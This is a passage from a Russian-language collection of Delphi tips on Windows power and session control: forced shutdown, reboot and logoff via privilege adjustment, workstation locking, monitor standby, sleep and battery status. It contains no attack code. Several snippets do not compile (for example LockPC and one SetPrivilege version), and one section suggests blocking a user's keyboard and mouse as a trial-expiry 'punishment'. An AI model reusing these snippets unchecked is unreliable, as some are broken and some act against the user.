begin
  Result := False;
  try
    asm
      push     eax
      push     ebx
      push     ecx
      push     edx
      pushfd
      pop      eax
      mov      ebx,eax
      xor      eax,$00200000
      push     eax
      popfd
      pushfd
      pop      eax
      xor      eax,ebx
      je       @NoMMX
      mov      eax,$01
      test     edx,$800000
      jz       @NoMMX
      mov byte ptr[Result],1

  @NoMMX:
      pop      edx
      pop      ecx
      pop      ebx
      pop      eax
 end;
  except;
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  if SupportsMMX then ShowMessage('Computer supports MMX');
end;

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как запустить процесс на конкретном процессоре в много процессорной системе?

function ExecuteProcess(FileName: string; Visibility: Integer; BitMask: Integer; Synch: Boolean): Longword;
//valori di Visibility:
{
Value                Meaning
SW_HIDE            :Hides the window and activates another window.
SW_MAXIMIZE        :Maximizes the specified window.
SW_MINIMIZE        :Minimizes the specified window and activates the next top-level window in the Z order.
SW_RESTORE        :Activates and displays the window. If the window is minimized or maximized,
                    Windows restores it to its original size and position. An application should
                    specify this flag when restoring a minimized window.
SW_SHOW                :Activates the window and displays it in its current size and position.
SW_SHOWDEFAULT        :Sets the show state based on the SW_ flag specified in the STARTUPINFO
                        structure passed to the CreateProcess function by the program that started the application.
SW_SHOWMAXIMIZED       :Activates the window and displays it as a maximized window.
SW_SHOWMINIMIZED       :Activates the window and displays it as a minimized window.
SW_SHOWMINNOACTIVE     :Displays the window as a minimized window. The active window remains active.
SW_SHOWNA              :Displays the window in its current state. The active window remains active.
SW_SHOWNOACTIVATE      :Displays a window in its most recent size and position. The active window remains active.
SW_SHOWNORMAL          :Activates and displays a window. If the window is minimized or maximized,
                      Windows restores it to its original size and position. An application should specify this
                      flag when displaying the window for the first time.
}
//FileName: the name of the program I want to launch
//Bitmask:   specifies the set of CPUs on wich I want to run the program
    //the BitMask is built in the following manner:
    //I have a bit sequence: every bit is associated to a CPU (from right to left)
    //I set the bit to 1 if I want to use the corrisponding CPU, 0 otherwise
    //for example: I have 4 processor and I want to run the specified process on the CPU 2 and 4:
    //the corresponding bitmask will be     1010 -->2^0 * 0 + 2^1 * 1 + 2^2 * 0 + 2^3 * 1 = 2 + 8 = 10
    //hence BitMask = 10
//Synch: Boolean --> True if I want a Synchronous Execution (I cannot close
//my application before the launched process is terminated)

var
  zAppName: array[0..512] of Char;
  zCurDir: array[0..255] of Char;
  WorkDir: string;
  StartupInfo: TStartupInfo;
  ProcessInfo: TProcessInformation;
  Closed: Boolean;
begin
  Closed := True;
  StrPCopy(zAppName, FileName);
  GetDir(0, WorkDir);
  StrPCopy(zCurDir, WorkDir);
  FillChar(StartupInfo, SizeOf(StartupInfo), #0);
  StartupInfo.cb := SizeOf(StartupInfo);
  StartupInfo.dwFlags := STARTF_USESHOWWINDOW;
  StartupInfo.wShowWindow := Visibility;
  if not CreateProcess(nil,
    zAppName, // pointer to command line string
    nil, // pointer to process security attributes
    nil, // pointer to thread security attributes
    False, // handle inheritance flag
    CREATE_NEW_CONSOLE or // creation flags
    NORMAL_PRIORITY_CLASS,
    nil, //pointer to new environment block
    nil, // pointer to current directory name
    StartupInfo, // pointer to STARTUPINFO
    ProcessInfo) // pointer to PROCESS_INF
    then Result := WAIT_FAILED
  else
  begin
    //running the process on the set of CPUs specified by BitMask
    SetProcessAffinityMask(ProcessInfo.hProcess, BitMask);
    /////
    if (Synch = True) then //if I want a Synchronous execution (I cannot close my
    // application before this process is terminated)
      begin
        Closed:= False;
        repeat
          case WaitForSingleObject(
            ProcessInfo.hProcess, 100) of
              WAIT_OBJECT_0 : Closed:= True;
              WAIT_FAILED : RaiseLastWin32Error;
          end;
          Application.ProcessMessages;
        until (Closed);
        GetExitCodeProcess(ProcessInfo.hProcess, Result);
        //exit code of the launched process (0 if the process returned no error  )
        CloseHandle(ProcessInfo.hProcess);
        CloseHandle(ProcessInfo.hThread);
      end
    else
      begin
        Result := 0;
      end;
  end;
end; {ExecuteProcess}

// Open Taskmanager, select the launched process, right click,
// "Set affinity", you will see a check on the CPUs you selected

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Питание, завершение работы

Cодержание раздела:

Как выключить компьютер с любой версией Windows?
Как заблокировать компьютер? Updated!
Как программно вазвать окно Завершение работы Windows?
Как завершить сеанс работы или перезагрузить Windows NT?
Как выключить, перезагрузить или завершить Windows?
Как перевести монитор в режим stand-by?
Компонент PowerControl
Выключение питания ATX коpпуса из-под DOS
Включение и выключение устройств ввода/вывода
Приостановить компьютер (sleep) New!
Узнать о завершении работы Windows New!
Как узнать заряженность батарей? New!
Как предотвратить Shut Down? New!
Как узнать о переключении сессии в XP? New!
Как перевести компьютер в Stend-by или Hibernate? New!
Поддерживает ли система suspend? New!
Поддерживает ли система hibernation? New!
How to check if the Workstation is locked? New!

См. также статьи в других разделах:
События, происходящие в приложениях Delphi при завершении работы Windows
Завершение всех работающих приложений
Как завершить любой процесс, в том числе и системный
Отследить завершение работы, (перезагрузку, смену пользователя) в Windows.
Как консольное приложение может узнать, что Винды завершаются?


Как выключить компьютер с любой версией Windows?

function GetWinVersion: String;
var
   VersionInfo : TOSVersionInfo;
   OSName      : String;
begin
   // устанавливаем размер записи
   VersionInfo.dwOSVersionInfoSize := SizeOf( TOSVersionInfo );

   if Windows.GetVersionEx( VersionInfo ) then
      begin
         with VersionInfo do
         begin
            case dwPlatformId of
               VER_PLATFORM_WIN32s   : OSName := 'Win32s';
               VER_PLATFORM_WIN32_WINDOWS : OSName := 'Windows 95';
               VER_PLATFORM_WIN32_NT      : OSName := 'Windows NT';
            end; // case dwPlatformId
            Result := OSName + ' Version ' + IntToStr( dwMajorVersion ) + '.' + IntToStr( dwMinorVersion ) +
                      #13#10' (Build ' + IntToStr( dwBuildNumber ) + ': ' + szCSDVersion + ')';
         end; // with VersionInfo
      end // if GetVersionEx
   else
      Result := '';
end;

procedure ShutDown;
const
  SE_SHUTDOWN_NAME = 'SeShutdownPrivilege';   // Borland forgot this declaration
var
  hToken       : THandle;
  tkp          : TTokenPrivileges;
  tkpo         : TTokenPrivileges;
  zero         : DWORD;
begin
  if Pos( 'Windows NT', GetWinVersion) = 1  then // we've got to do a whole buch of things
     begin
        zero := 0;
        if not OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, hToken) then
           begin
             MessageBox( 0, 'Exit Error', 'OpenProcessToken() Failed', MB_OK );
             Exit;
           end; // if not OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, hToken)
        if not OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, hToken) then
           begin
             MessageBox( 0, 'Exit Error', 'OpenProcessToken() Failed', MB_OK );
             Exit;
           end; // if not OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, hToken)

        // SE_SHUTDOWN_NAME
        if not LookupPrivilegeValue( nil, 'SeShutdownPrivilege' , tkp.Privileges[ 0 ].Luid ) then
           begin
              MessageBox( 0, 'Exit Error', 'LookupPrivilegeValue() Failed', MB_OK );
              Exit;
           end; // if not LookupPrivilegeValue( nil, 'SeShutdownPrivilege' , tkp.Privileges[0].Luid )
        tkp.PrivilegeCount := 1;
        tkp.Privileges[ 0 ].Attributes := SE_PRIVILEGE_ENABLED;

        AdjustTokenPrivileges( hToken, False, tkp, SizeOf( TTokenPrivileges ), tkpo, zero );
        if Boolean( GetLastError() ) then
           begin
              MessageBox( 0, 'Exit Error', 'AdjustTokenPrivileges() Failed', MB_OK );
              Exit;
           end // if Boolean( GetLastError() )
        else
           ExitWindowsEx( EWX_FORCE or EWX_SHUTDOWN, 0 );
      end // if OSVersion = 'Windows NT'
   else
      begin // just shut the machine down
        ExitWindowsEx( EWX_FORCE or EWX_SHUTDOWN, 0 );
      end; // else
end;

Взято из http://forum.sources.ru

ExitWindowsEx(EWX_FORCE,0);

или

Запуск из коммандной строки

rundll32 krnl386.exe,exitkernel

только под XP все это работает плохо. Надо думать...
Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru

exitkernel очень радикальный способ потому что не сохраняются настройки рабочего стола, ini файлы и другие установки, зато быстро

Есть способ намного лучше: ф-ия SHExitWindowsEx из shell32.dll
С неё всё good. Это запуск из-под WinExec()
Программно же только с получением привелегии.
Замечу также что флаг EWX_FORCE необходим только для принудительного завершения при выдаче каких либо сообщений или модальных окон, что воспрепятствует завершению, например, "К компьютеру подключены пользователи. Данные могут быть утярены. Вы хотите завершить работу?" или сообщение, которое автор указал в вопросе.
Если нет таких сообщений EWX_FORCE не обязателен. Также есть отдельные флаги для выключение компьютера (по умолчанию - перезагрузка) или завершения сетевого сеанса.

Автор: Song

Взято с Vingrad.ru http://forum.vingrad.ru


Как заблокировать компьютер?

procedure LockPC;
  var OldValue: LongBool;
begin
SystemParametersInfo(97, Word(Bool), @OldValue, 0);
WinExec(PChar('rundll32 mouse,disable'), SW_SHOW);
WinExec(PChar('rundll32 keyboard,disable'), SW_SHOW);
end;

Взято из http://forum.sources.ru

{
  The LockWorkStation function locks the workstation's display,
  protecting it from unauthorized use.
  This function has the same result as pressing Ctrl+Alt+Del and
  clicking Lock Workstation.
  To unlock the workstation, the user must log in.

  Windows NT/2000/XP: Included in Windows 2000 and later.
  Windows 95/98/Me: Unsupported.
}

procedure TForm1.Button1Click(Sender: TObject);
begin
  LockWorkStation;
end;

{ Loading LockWorkStation dynamically}

function LockWS: Boolean;
// by Thomas Stutz, SDC
type
  TLockWorkStation = function: Boolean;
var
  hUser32: HMODULE;
  LockWorkStation: TLockWorkStation;
begin
  // Here we import the function from USER32.DLL
  hUser32 := GetModuleHandle('USER32.DLL');
  if hUser32 <> 0 then
  begin
    @LockWorkStation := GetProcAddress(hUser32, 'LockWorkStation');
    if @LockWorkStation <> nil then
    begin
      LockWorkStation;
      Result := True;
    end;
  end;
end;

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как программно вазвать окно Завершение работы Windows?

SendMessage (FindWindow ('Progman', 'Program Manager'), WM_CLOSE, 0, 0);

Взято из http://forum.sources.ru


Как завершить сеанс работы или перезагрузить Windows NT?

Для этого нам потребуются определённые привелегии:

function SetPrivilege(aPrivilegeName : string;
                      aEnabled : boolean ): boolean;
var
  TPPrev,
  TP         : TTokenPrivileges;
  Token      : THandle;
  dwRetLen   : DWord;
begin
  Result := False;
  OpenProcessToken(GetCurrentProcess,TOKEN_ADJUST_PRIVILEGES
                   or TOKEN_QUERY, @Token );

  TP.PrivilegeCount := 1;
  if( LookupPrivilegeValue(nil, PChar( aPrivilegeName ),
                           TP.Privileges[ 0 ].LUID ) ) then
  begin
    if( aEnabled )then
      TP.Privileges[0].Attributes:= SE_PRIVILEGE_ENABLED;
    else
      TP.Privileges[0].Attributes:= 0;

    dwRetLen := 0;
    Result := AdjustTokenPrivileges(Token,False,TP,
                                    SizeOf( TPPrev ),
                                    TPPrev,dwRetLen );
  end;

  CloseHandle( Token );
end;

function WinExit( iFlags : integer ) : boolean;
//   возможные флаги:
//   EWX_LOGOFF
//   EWX_REBOOT
//   EWX_SHUTDOWN
begin
  Result := True;
  if( SetPrivilege( 'SeShutdownPrivilege', true ) ) then
  begin
    if( not ExitWindowsEx( iFlags, 0 ) )then
    begin
      Result := False;
    end;
    SetPrivilege( 'SeShutdownPrivilege', False )
  end
  else
  begin
    Result := False;
  end;
end;

Взято из http://forum.sources.ru


Как выключить, перезагрузить или завершить Windows?

{1.}

function MyExitWindows(RebootParam: Longword): Boolean;
var
  TTokenHd: THandle;
  TTokenPvg: TTokenPrivileges;
  cbtpPrevious: DWORD;
  rTTokenPvg: TTokenPrivileges;
  pcbtpPreviousRequired: DWORD;
  tpResult: Boolean;
const
  SE_SHUTDOWN_NAME = 'SeShutdownPrivilege';
begin
  if Win32Platform = VER_PLATFORM_WIN32_NT then
  begin
    tpResult := OpenProcessToken(GetCurrentProcess(),
      TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY,
      TTokenHd);
    if tpResult then
    begin
      tpResult := LookupPrivilegeValue(nil,
                                       SE_SHUTDOWN_NAME,
                                       TTokenPvg.Privileges[0].Luid);
      TTokenPvg.PrivilegeCount := 1;
      TTokenPvg.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
      cbtpPrevious := SizeOf(rTTokenPvg);
      pcbtpPreviousRequired := 0;
      if tpResult then
        Windows.AdjustTokenPrivileges(TTokenHd,
                                      False,
                                      TTokenPvg,
                                      cbtpPrevious,
                                      rTTokenPvg,
                                      pcbtpPreviousRequired);
    end;
  end;
  Result := ExitWindowsEx(RebootParam, 0);
end;

// Example to shutdown Windows:

procedure TForm1.Button1Click(Sender: TObject);
begin
  MyExitWindows(EWX_POWEROFF or EWX_FORCE);
end;

// Example to reboot Windows:

procedure TForm1.Button1Click(Sender: TObject);
begin
  MyExitWindows(EWX_REBOOT or EWX_FORCE);
end;

// Parameters for MyExitWindows()

{************************************************************************}

{2. Console Shutdown Demo}

program Shutdown;
{$APPTYPE CONSOLE}

uses
  SysUtils,
  Windows;

// Shutdown Program
// (c) 2000 NeuralAbyss Software
// www.neuralabyss.com

var
  logoff: Boolean = False;
  reboot: Boolean = False;
  warn: Boolean = False;
  downQuick: Boolean = False;
  cancelShutdown: Boolean = False;
  powerOff: Boolean = False;
  timeDelay: Integer = 0;

function HasParam(Opt: Char): Boolean;
var
  x: Integer;
begin
  Result := False;
  for x := 1 to ParamCount do
    if (ParamStr(x) = '-' + opt) or (ParamStr(x) = '/' + opt) then Result := True;
end;

function GetErrorstring: string;
var
  lz: Cardinal;
  err: array[0..512] of Char;
begin
  lz := GetLastError;
  FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM, nil, lz, 0, @err, 512, nil);
  Result := string(err);
end;

procedure DoShutdown;
var
  rl, flgs: Cardinal;
  hToken: Cardinal;
  tkp: TOKEN_PRIVILEGES;
begin
  flgs := 0;
  if downQuick then flgs := flgs or EWX_FORCE;
  if not reboot then flgs := flgs or EWX_SHUTDOWN;
  if reboot then flgs := flgs or EWX_REBOOT;
  if poweroff and (not reboot) then flgs := flgs or EWX_POWEROFF;
  if logoff then flgs := (flgs and (not (EWX_REBOOT or EWX_SHUTDOWN or EWX_POWEROFF))) or
      EWX_LOGOFF;
  if Win32Platform = VER_PLATFORM_WIN32_NT then
  begin
    if not OpenProcessToken(GetCurrentProcess, TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY,
      hToken) then
      Writeln('Cannot open process token. [' + GetErrorstring + ']')
    else
    begin
      if LookupPrivilegeValue(nil, 'SeShutdownPrivilege', tkp.Privileges[0].Luid) then
      begin
        tkp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
        tkp.PrivilegeCount           := 1;
        AdjustTokenPrivileges(hToken, False, tkp, 0, nil, rl);
        if GetLastError <> ERROR_SUCCESS then
          Writeln('Error adjusting process privileges.');
      end
      else
        Writeln('Cannot find privilege value. [' + GetErrorstring + ']');
    end;
    {   if CancelShutdown then
          if AbortSystemShutdown(nil) = False then
            Writeln(\'Cannot abort. [\' + GetErrorstring + \']\')
          else
           Writeln(\'Cancelled.\')
       else
       begin
         if InitiateSystemShutdown(nil, nil, timeDelay, downQuick, Reboot) = False then
            Writeln(\'Cannot go down. [\' + GetErrorstring + \']\')
         else
            Writeln(\'Shutting down!\');
       end;
    }
  end;
  //     else begin
  ExitWindowsEx(flgs, 0);
  //     end;
end;

begin
  Writeln('Shutdown v0.3 for Win32 (similar to the Linux version)');
  Writeln('(c) 2000 NeuralAbyss Software. All Rights Reserved.');
  if HasParam('?') or (ParamCount = 0) then
  begin
    Writeln('Usage:    shutdown [-akrhfnc] [-t secs]');
    Writeln('                  -k:      do not really shutdown, only warn.');
    Writeln('                  -r:      reboot after shutdown.');
    Writeln('                  -h:      halt after shutdown.');
    Writeln('                  -p:      power off after shutdown');
    Writeln('                  -l:      log off only');
    Writeln('                  -n:      kill apps that do not want to die.');
    Writeln('                  -c:      cancel a running shutdown.');
  end
  else
  begin
    if HasParam('k') then warn := True;
    if HasParam('r') then reboot := True;
    if HasParam('h') and reboot then
    begin
      Writeln('Error: Cannot specify -r and -h parameters together!');
      Exit;
    end;
    if HasParam('h') then reboot := False;
    if HasParam('n') then downQuick := True;
    if HasParam('c') then cancelShutdown := True;
    if HasParam('p') then powerOff := True;
    if HasParam('l') then logoff := True;
    DoShutdown;
  end;
end.

Взято сhttp://delphiworld.narod.ru

Для выполнения перезагрузки/выключения предназначены функции ExitWindows/ExitWindowsEx

ExitWindows:

Описание:
Function ExitWindows(Reserved: DWord; ReturnCode: Word): Bool;
Иницииpует стандаpтную пpоцедуpу завеpшения pаботы с Windows. Все пpикладные задачи должны подтвеpдить завеpшение pаботы Windows. Вызывает функцию 4CH пpеpывания 21H DOS.

Паpаметpы:
Reserved: Установлен в нуль.
ReturnCode: Значение, пеpедаваемое в DOS (в pегистpе AL).

Возвpащаемое значение:
Нуль, если одна или несколько задач отказываются завеpшить pаботу.

Примеры использования:
ExitWindows(EWX_LOGOFF,0); - завершение сеанса
ExitWindows(EWX_SHUTDOWN,0); - выключение компьютера
ExitWindows(EWX_REBOOT,0); - перезагрузка
Флаги EWX_FORCE, EWX_POWEROFF и EWX_FORCEIFHUNG могут комбинироваться к нужному действию.

ExitWindowsEx:
Функция ExitWindowsEx() представляет собой расширенный вариант ExitWindows().

Описание:
BOOL ExitWindowsEx( UINT uFlags, DWORD dwReserved, );
Функция ExitWindowsEx перезагружает(restart) или выключает систему (shutdown), а также может завершить сессию для текущего пользователя(log off).

Параметры:
uFlags -- флаг завершения работы, может принимать следущие значения:
EWX_LOGOFF завершает сессию текущего пользователя.
EWX_POWEROFF выключает питание компьютера(компьютер должен поддерживать данную функцию).
EWX_REBOOT перезагружает систему.
EWX_SHUTDOWN завершает работу комьпьютера до того места, где он может быть безопасно выключен: сброшенны все файловые буферы на диск, завершает работу всех процессов.
dwReserved --Зарезирвированно для последующих нужд, параметр игнорируется.

Возвращаемое значение:
Не ноль если всё прошло успешно

Пример использования:
ExitWindowsEx(EWX_SHUTDOWN,0);
Остальные примеры смотри в описании первой функции.

Вышеописанные примеры действительны только для w9x/Me.
Дело в том, что, чтобы выполнить функциию в NT ОС, нужно получить права на выполнение этой функции. Сделать это можно через AdjustTokenPriviligies.
С помощью нижеприведённой функции можно получить любую привелегию, в т.ч. и привеленгию SeShutdownPrivilege, которая нужна для разрешения функции ExitWindows(Ex)

Function SetPrivilege(aPrivilegeName: String; aEnabled: Boolean ): Boolean;
Var TPPrev,
      TP: TTokenPrivileges;
      Token: THandle;
      dwRetLen: DWord;
Begin
 Result:=False;
 OpenProcessToken(GetCurrentProcess,TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, @Token );
 TP.PrivilegeCount:=1;
 IF LookupPrivilegeValue(nil,PChar(aPrivilegeName),TP.Privileges[0].LUID )) then
  Begin
   IF aEnabled then TP.Privileges[0].Attributes:=SE_PRIVILEGE_ENABLED
              else  TP.Privileges[0].Attributes:=0;
   dwRetLen:= 0;
   Result:=AdjustTokenPrivileges(Token,False,TP,SizeOf(TPPrev),TPPrev,dwRetLen);
  End;
 CloseHandle(Token);
End;

Пример использования для среды NT:

 SetPrivilege('SeShutdownPrivilege',True);
 ExitWindowsEx(EWX_SHUTDOWN,0);

Автор: Song

Взято из http://forum.sources.ru


Как перевести монитор в режим stand-by?

Автор: Kecvin S. Gallagher
Если монитор поддерживает режим Stand by, то его можно программно перевести в этот режим. Данная возможность доступна на Windows95 и выше.

Чтобы перевести монитор в режим Stand by:
SendMessage(Application.Handle, wm_SysCommand, SC_MonitorPower, 0) ;

Чтобы вывести его из этого режима:
SendMessage(Application.Handle, wm_SysCommand, SC_MonitorPower, -1) ;

А теперь более полный пример кода:
На новую форму поместите кнопку, таймер и ListBox.

Timer (use Object Inspector):

Enabled := False
Interval := 15000

Добавьте следующее событие таймеру:

procedure TForm1.Timer1Timer(Sender: TObject);
begin
  ListBox1.Items.Add(FormatDateTime('h:mm:ss AM/PM',Time)) ;
  SendMessage(Application.Handle, wm_SysCommand, SC_MonitorPower, -1);
end;

Command Button:

procedure TForm1.Button1Click(Sender: TObject);
begin
  ListBox1.Items.Add('--> ' + FormatDateTime('h:mm:ss AM/PM',Time)) ;
  Timer1.Enabled := not Timer1.Enabled ;
  SendMessage(Application.Handle, wm_SysCommand, SC_MonitorPower, 0) ;
end;

После запуска откомпилированного приложения и нажатия на кнопку, экран погаснет на 15 секунд.

ЗАМЕЧАНИЕ: Удостоверьтесь, что во первых компьютер поддерживает режимы энергосбережения, а вовторых, эти функции не запрещены на данном компьютере.

Взято из http://forum.sources.ru


Компонент PowerControl

Вопрос: А как реализовать в одном компоненте такие функции как выключение компьютера, перезагрузка, завершение сеанса работы пользователя, Eject CD, выключение питания монитора и т.д.? Ответ: предлагаем посмотреть следующий пример ...

procedure TForm1.Button1Click(Sender: TObject);
begin
  PowerControl1.Action:=actCDEject;// Или... actLogOFF, actShutDown...
  PowerControl1.Execute;
end;

=========================

Component Code:

unit PowerControl;

interface

uses WinTypes, WinProcs, Messages, SysUtils, Classes, Controls,
     Forms, Graphics, MMSystem;

type
   TAction = (actLogOFF,actShutDown,actReBoot,actForce,actPowerOFF,
actForceIfHung,actMonitorOFF,actMonitorON,actCDEject,actCDUnEject);

type
  TPowerControl = class(TComponent)
    private
        FAction : TAction;
        procedure SetAction(Value : TAction);
    protected
    public
        function Execute : Boolean;
    published
        property Action : TAction read FAction write SetAction;
  end;

procedure Register;

implementation

procedure Register;
begin
     RegisterComponents('K2', [TPowerControl]);
end;

procedure TPowerControl.SetAction(Value : TAction);
begin
     FAction := Value;
end;

function TPowerControl.Execute : Boolean;
begin
    with (Owner as TForm) do
       case FAction of
         actLogOff: ExitWindowsEx(EWX_LOGOFF,1);
         actShutDown: ExitWindowsEx(EWX_SHUTDOWN,1);
         actReBoot: ExitWindowsEx(EWX_REBOOT,1);
         actForce: ExitWindowsEx(EWX_FORCE,1);
         actPowerOff: ExitWindowsEx(EWX_POWEROFF,1);
         actForceIfHung: ExitWindowsEx(EWX_FORCEIFHUNG,1);
         actMonitorOFF: SendMessage(Application.Handle,
                        WM_SYSCOMMAND, SC_MONITORPOWER, 0);
         actMonitorON: SendMessage(Application.Handle, WM_SYSCOMMAND,
                       SC_MONITORPOWER, -1);
         actCDEject: mciSendstring('SET CDAUDIO DOOR OPEN
                     WAIT',nil,0, Handle);
         actCDUnEject: mciSendstring('SET CDAUDIO DOOR CLOSED
                       WAIT',nil,0, Handle);
       end; {Case}
    Result := True;
end;

end.
Взято из http://forum.sources.ru


Выключение питания ATX коpпуса из-под DOS

mov ax,5301h
        sub bx,bx
        int 15h
        jb stop
        mov ax,530eh
        sub bx,bx
        int 15h
        jb stop
        mov ax,5307h
        mov bx,0001h
        mov cx,0003h
        int 15h
  stop: int 20h

Код прислал Колесников Сергей Александрович [mailto:rovd@inbox.ru]
Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba


Включение и выключение устройств ввода/вывода

Иногда может возникнуть необходимость в выключении на время устройств ввода - клавиатуры и мыши. Например, это неплохо сделать на время выполнения кода системы защиты от копирования, в играх, или в качестве "наказания" при запуске программы по истечению срока ее бесплатного использования ... . Однако наилучшее ее применение - отключение клавиатуры и мыши на время работы демонстрационки, основанной на воспроизведении записанных заранее перемещений мышки и клавиатурного ввода (см. об этом отдельный раздел этой книги). Это элементарно сделать при помощи API:
EnableHadwareInput(Enable:boolean): boolean;
Enable - требуемое состояние устройств ввода (True - включены, false - выключены). Если ввод заблокирован, то его можно разблокировать вручную - нажать Ctrl + Alt + Del, при появлении меню "Завершение работы программы" ввод разблокируется.

А вот еще интересный прикол.
Включение/выключение монитора программным способом.

Предупреждаю сразу! После того, как вы отключите монитор, просто так вы его уже не включите (хотя это может быть зависит от монитора, я, во всяком случае, не смог). Только после перезагрузки компьютера.

Отключить :
SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 0);

Включить :
SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, -1);

Источник: http://dmitry9.nm.ru/info/


Приостановить компьютер (sleep)

У компьютеров ATX есть функция Sleep. Эта программа заставляет компьютер "заснуть".

procedure TForm1.Button1Click(Sender: TObject);
begin
  SetSystemPowerState(true, true);
end;
Автор советов: Даниил Карапетян
e-mail: delphi4all@narod.ru

Автор справки: Алексей Денисов
e-mail: aleksey@sch103.krasnoyarsk.su


Узнать о завершении работы Windows

Если текст в Memo1 был изменен, то программа не разрешает завершения сеанса Windows.

...
private
    procedure WMQueryEndSession(var Msg: TWMQueryEndSession); message WM_QUERYENDSESSION;
...
procedure TForm1.WMQueryEndSession(var Msg: TWMQueryEndSession);
begin
  Msg.Result := integer(not Memo1.Modified);
end;
Автор советов: Даниил Карапетян
e-mail: delphi4all@narod.ru

Автор справки: Алексей Денисов
e-mail: aleksey@sch103.krasnoyarsk.su


Как узнать заряженность батарей?

procedure TForm1.Button1Click(Sender: TObject);
var
  SysPowerStatus: TSystemPowerStatus;
begin
  GetSystemPowerStatus(SysPowerStatus);
  if Boolean(SysPowerStatus.ACLineStatus) then
  begin
    ShowMessage('System running on AC.');
  end
  else
  begin
    ShowMessage('System running on battery.');
    ShowMessage(Format('Battery power left: %d percent.', [SysPowerStatus.BatteryLifePercent]));
  end;
end;

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как предотвратить Shut Down?

{
The WM_QUERYENDSESSION message is sent to all applications
when the user chooses to end the session or when an application calls the
ExitWindows function.
If any application returns zero, the session is not ended.
The system stops sending WM_QUERYENDSESSION messages as soon as one application
returns zero.
After processing this message, the system sends the WM_ENDSESSION message with the
wParam parameter set to the results of the WM_QUERYENDSESSION message.

Windows NT/2000/XP: When an application returns TRUE for this message,
it receives the WM_ENDSESSION message and it is terminated,
regardless of how the other applications respond to the WM_QUERYENDSESSION message.

Windows 95/98/Me: After all applications return TRUE for this message,
they receive the WM_ENDSESSION and they are terminated.
}

private
  procedure WMQueryEndSession (var Msg : TWMQueryEndSession); message WM_QueryEndSession;
end;

Implementation

procedure TForm1.WMQueryEndSession (var Msg : TWMQueryEndSession);
begin
  if MessageDlg('Close Windows now/ Windows beenden?',
                            mtConfirmation,
                            [mbYes,mbNo], 0) = mrNo then
      Msg.Result := 0
   else
      Msg.Result := 1;
end;

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как узнать о переключении сессии в XP?

{
  Typically, an application does not need to be notified when a session switch
  occurs. However, if the application needs to be aware when its desktop is
  current, it can register for session switch notifications. Applications that
  access the serial port or another shared resource on the computer should
  check for this. To register for a notification, use the following function:
}

  function WTSRegisterSessionNotification(
      hWnd: HWND ,    // Window handle
      dwFlags: DWORD  // Flags
      ): Bool; // Return value

{
  The registered HWND receives the message WM_WTSSESSION_CHANGE
  through its WindowProc function.

  In dwFlags you can specify:

    a) NOTIFY_FOR_THIS_SESSION. A window is notified only about the session
      change events that affect the session to which window belongs.

    b) NOTIFY_FOR_ALL_SESSIONS. A window is notified for all session change
      events.

  The action happening on the session can be found in wParam code, which may
  contain one of the following flags.

  WTS_CONSOLE_CONNECT:        A session was connected to the console session.
  WTS_CONSOLE_DISCONNECT:     A session was disconnected from the console session.
  WTS_REMOTE_CONNECT:         A session was connected to the remote session.
  WTS_REMOTE_DISCONNECT:      A session was disconnected from the remote session.
  WTS_SESSION_LOGON:          A user has logged on to the session.
  WTS_SESSION_LOGOFF:         A user has logged off the session.
  WTS_SESSION_LOCK:           A session has been locked.
  WTS_SESSION_UNLOCK:         A session has been unlocked.
  WTS_SESSION_REMOTE_CONTROL: A session has changed its remote controlled status.

  lParam contains the sessionId for the session affected.

  When your process no longer requires these notifications or is terminating,
  it should call the following to unregister its notification.

}
  function WTSUnRegisterSesssionNotification(
    hWnd: HWND // window handle.
    ): Boolean; // Result

{

  The HWND values passed to WTSRegisterSessionNotification are reference
  counted, so you must call WTSUnRegisterSessionNotification exactly the same
  number of times that you call WTSRegisterSessionNotification.

  Applications can use the WTS_CONSOLE_CONNECT, WTS_CONSOLE_DISCONNECT,
  WTS_REMOTE_CONNECT, WTS_REMOTE_DISCONNECT messages to track their state, as
  well as to release and acquire console specific resources.
}

unit Wtsapi;

interface

{ (c) By Thomas Stutz 10. April 02 }

uses
  Windows;

const
  // The WM_WTSSESSION_CHANGE message notifies applications of changes in session state.
  WM_WTSSESSION_CHANGE = $2B1;

  // wParam values:
  WTS_CONSOLE_CONNECT = 1;
  WTS_CONSOLE_DISCONNECT = 2;
  WTS_REMOTE_CONNECT = 3;
  WTS_REMOTE_DISCONNECT = 4;
  WTS_SESSION_LOGON = 5;
  WTS_SESSION_LOGOFF = 6;
  WTS_SESSION_LOCK = 7;
  WTS_SESSION_UNLOCK = 8;
  WTS_SESSION_REMOTE_CONTROL = 9;

  // Only session notifications involving the session attached to by the window
  // identified by the hWnd parameter value are to be received.
  NOTIFY_FOR_THIS_SESSION = 0;
  // All session notifications are to be received.
  NOTIFY_FOR_ALL_SESSIONS = 1;

function RegisterSessionNotification(Wnd: HWND; dwFlags: DWORD): Boolean;
function UnRegisterSessionNotification(Wnd: HWND): Boolean;
function GetCurrentSessionID: Integer;

implementation

function RegisterSessionNotification(Wnd: HWND; dwFlags: DWORD): Boolean;
  // The RegisterSessionNotification function registers the specified window
  // to receive session change notifications.
  // Parameters:
  // hWnd: Handle of the window to receive session change notifications.
  // dwFlags: Specifies which session notifications are to be received:
  // (NOTIFY_FOR_THIS_SESSION, NOTIFY_FOR_ALL_SESSIONS)
type
